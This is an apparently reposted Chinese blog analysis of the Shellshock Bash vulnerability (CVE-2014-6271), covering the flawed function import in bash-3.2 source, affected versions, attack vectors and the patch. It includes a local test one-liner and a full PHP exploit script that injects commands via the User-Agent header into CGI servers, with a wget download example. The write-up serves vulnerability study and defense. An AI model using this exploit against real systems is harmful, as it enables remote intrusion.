CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

1. 漏洞的起因

這個漏洞的起因源自於Bash(Bourne Again SHell)的ENV指令

http://ss64.com/bash/env.html

env: Display, set, or remove environment variables, Run a command in a modified environment.

複製代碼
Syntax
     env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
1. Options
    1) -u NAME
    2) --unset=NAME
    Remove variable NAME from the environment, if it was in the environment.

    3) -i
    --ignore-environment
    Start with an empty environment, ignoring the inherited environment.

2. COMMAND [ARGS]
需要執行的指令
複製代碼

對這個指令,有兩個關鍵點要注意

1. ENV指令允許臨時改變環境變量,即指定本次指令執行的環境變量,這從一定程度上給了黑客進行PATH Hajaking的可能性
2. ENV指令還允許在設置環境變量後進行指令執行,從某種程度上來說,ENV相當於一個指令執行的指令,同時還附帶有臨時設置環境變量的功能

Relevant Link:

 

複製代碼
http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

https://access.redhat.com/articles/1200223
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://www.exploit-db.com/exploits/34766/
http://www.oschina.net/news/55581/gitlab-shell-and-bash-cve-2014-6271

複製代碼

 

 

 

2. 漏洞原理分析

雖然ENV是一個指令執行的指令,但是這並不是這次CVE漏洞的產生原因,原因在於

ENV的指令執行走的是正常的BASH指令解析、執行流程,而在一個採取了安全配置的服務器上,對敏感指令的執行都是進行用戶級別的權限限制的,所以,ENV本身並不是任意指令執行。真正導致命令任意執行的原因是"Code Injection",即代碼注入

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

我們以bash-3.2版本的源代碼爲例進行分析

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

\bash-3.2\builtins\evalstring.c

複製代碼
...
if (interactive_shell == 0 && read_but_dont_execute)
{
    last_result = EXECUTION_SUCCESS;
    dispose_command (global_command);
    global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
    struct fd_bitmap *bitmap;  

    /*
    這裏沒有對傳入的command進行正確的邊界檢查,引入了代碼注入的可能性
    */

    bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    begin_unwind_frame ("pe_dispose");
    add_unwind_protect (dispose_fd_bitmap, bitmap);
    add_unwind_protect (dispose_command, command);    /* XXX */

    global_command = (COMMAND *)NULL;
...
複製代碼

\bash-3.2\variables.c

這個文件負責對bash中的變量進行解析,我們在ENV中進行的臨時環境變量設置,將在這個文件中完成

複製代碼
/* 
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from 
ENV 
or
parse $SHELLOPTS. 
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
    ...
    create_variable_tables ();
    
    /*
    從ENV環境變量中獲取參數
    */
    for (string_index = 0; string = env[string_index++]; )
    {
        char_index = 0;
        name = string;
        while ((c = *string++) && c != '=') ;
        if (string[-1] == '=')
            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a
            string without an `=', just skip them. */
        if (char_index == 0)
            continue;

        /* ASSERT(name[char_index] == '=') */
        name[char_index] = '\0';
        /* 
        Now, name = env variable name, string = env variable value, and char_index == strlen (name) 
        */

        /* 
        If exported function, define it now.  Don't import functions from the environment in privileged mode.
        解析環境變量設置中的函數定義
        */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
            string_length = strlen (string);
            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);
            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string);

            /*
            這句是關鍵,initialize_shell_variables對環境變量中的代碼進行了執行,由於它錯誤的信任的外部發送的數據,形成了和SQL注入類似的場景,這句代碼和PHP中的eval是類似的,黑客只要滿足2個條件
            1. 控制發送的參數,並在其中拼接payload
            2. 黑客發送的包含payload的參數會被無條件的執行,而執行方不進行任何的邊界檢查

            這就是典型的數據和代碼沒有進行正確區分導致的漏洞
            */
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...} 
            if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
                name[char_index - 2] = '\0'; 

            if (temp_var = find_function (name))
            {
                VSETATTR (temp_var, (att_exported|att_imported));
                array_needs_making = 1;
            }
            else
                report_error (_("error importing function definition for `%s'"), name);

            /* ( */
            if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
                name[char_index - 2] = '(';        /* ) */
        }
    }
}
複製代碼

從這個角度來看,這種漏洞應該採用防禦SQL注入的思路來進行,對漏洞原理進行一下總結

複製代碼
1. bash(本地、ssh、cgi)允許使用ENV進行path臨時設置 
2. 黑客通過自定義函數,並導出到變量中
3. BASH對環境變量的設置是通過"代碼執行(EVAl)"完成的,即把ENV的參數當成code來執行,這在正常情況下是沒有問題的
4. 問題的關鍵是BASH沒有對傳入的參數進行正確的邊界檢查,導致數據和代碼的混雜,產生了和PHP EVAL Code InJection類似的漏洞
env x='() { :;}; echo vulnerable'
5. 代碼注入的關鍵點在
; echo vulnerable
複製代碼

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

 

3. 漏洞的影響範圍

這個漏洞屬於代碼級漏洞,所以漏洞的影響範圍和Bash的源代碼版本有關

複製代碼
bash-4.2.45-5.el7_0.2     
bash-4.1.2-15.el6_5.1 
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1     
bash-4.1.2-15.el6_4.1     
bash-3.2-33.el5.1    
bash-3.2-33.el5_11.1.sjis.1    
bash-3.2-24.el5_6.1    
bash-3.2-32.el5_9.2    
bash-3.0-27.el4.2
複製代碼

 

4. 漏洞的POC、測試方法

0x1: 攻擊的場景

要發動這個攻擊,需要滿足以下幾個條件

複製代碼
1. 我們的攻擊目標存在cmd執行的交互接口
    1) 本地交互shell:這是最直接的方式
    2) SSH:使用SSH進行bash執行需要你知道對方的ssh帳號密碼
    3) FTP:需要對方開啓了ftp cms的執行權限,已經你已經有了一個ftp的帳號密碼
    4) cgi:需要對方開啓了CGI的解析模塊

2. 我們有辦法設置目標(或者臨時設置)的環境變量

3. 我們可以控制即將進行環境變量設置的參數 
複製代碼

根據這些先決條件,我們可以得到一些攻擊向量

複製代碼
1. httpd
    1) webserver常常將Referer、UserAgent、header等參數作爲環境變量的設置源
    2) 服務器提供了CGI腳本,當 CGI script被webserver執行的時候,CGI Script會去調用Bash
黑客可以通過開啓了CGI的httpd服務器進行遠程代碼執行

2. Secure Shell (SSH)
對於git、rsync這類遠程shell來說,常常會對用戶可以執行的指令進行嚴格限制,但是這個BASH解析漏洞提供了一個bypass的向量

3. dhclient
動態主機配置協議客戶端(dhclient的)被用來通過DHCP自動獲取網絡配置信息。該客戶端使用不同的環境變量和運行bash來配置網絡接口。連接到一個惡意的DHCP服務器可能允許攻擊者在客戶機上運行任意代碼。
黑客通過在域中的DHCP服務器中對DHCP的回送包進行特定的修改,可以達到污染dhcpclient的環境變量參數的目的,從而進行遠程代碼執行

4. CUPS

5. sudo

6. Firefox
複製代碼

0x2: 手工測試方法

複製代碼
poc: 
env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

expected result: 
vulnerable
this is a test

//如果出現這個結果,則說明本機的bash存在漏洞
複製代碼

0x3: 自動化測試方法

複製代碼
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
 
Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"
 
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
 
}
$url = $x['u'];
$cmd = $x['c'];
 
    $context = stream_context_create(
        array(
            'http' => array(
                'method'  => 'GET',
                'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
            )
        )
    );
     
    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>
 
複製代碼

Relevant Link:

http://www.exploit-db.com/exploits/34766/

 

5. 漏洞的修復Patch

從攻擊方法上來看,這種漏洞屬於邊界檢查缺失導致的代碼注入漏洞,所以我們的修復思路也應該從這兩個方面入手

1. 進行正確的邊界檢查,嚴格區分函數定義和代碼注入
2. 對輸入參數進行參數化防禦,不允許除了允許範圍之外的參數傳入

builtins/common.h

/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */
#define SEVAL_ONECMD  0x100    /* only allow a single command */

builtins/evalstring.c

複製代碼
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
    internal_warning ("%s: ignoring function definition attempt", from_file);
    should_jump_to_top_level = 0;
    last_result = last_command_exit_value = EX_BADUSAGE;
    break;
}
..
if (flags & SEVAL_ONECMD)
    break;
複製代碼

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

 

Copyright (c) 2014 LittleHann All rights reserved


本文轉自 http://www.cnblogs.com/LittleHann/p/3992778.html


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章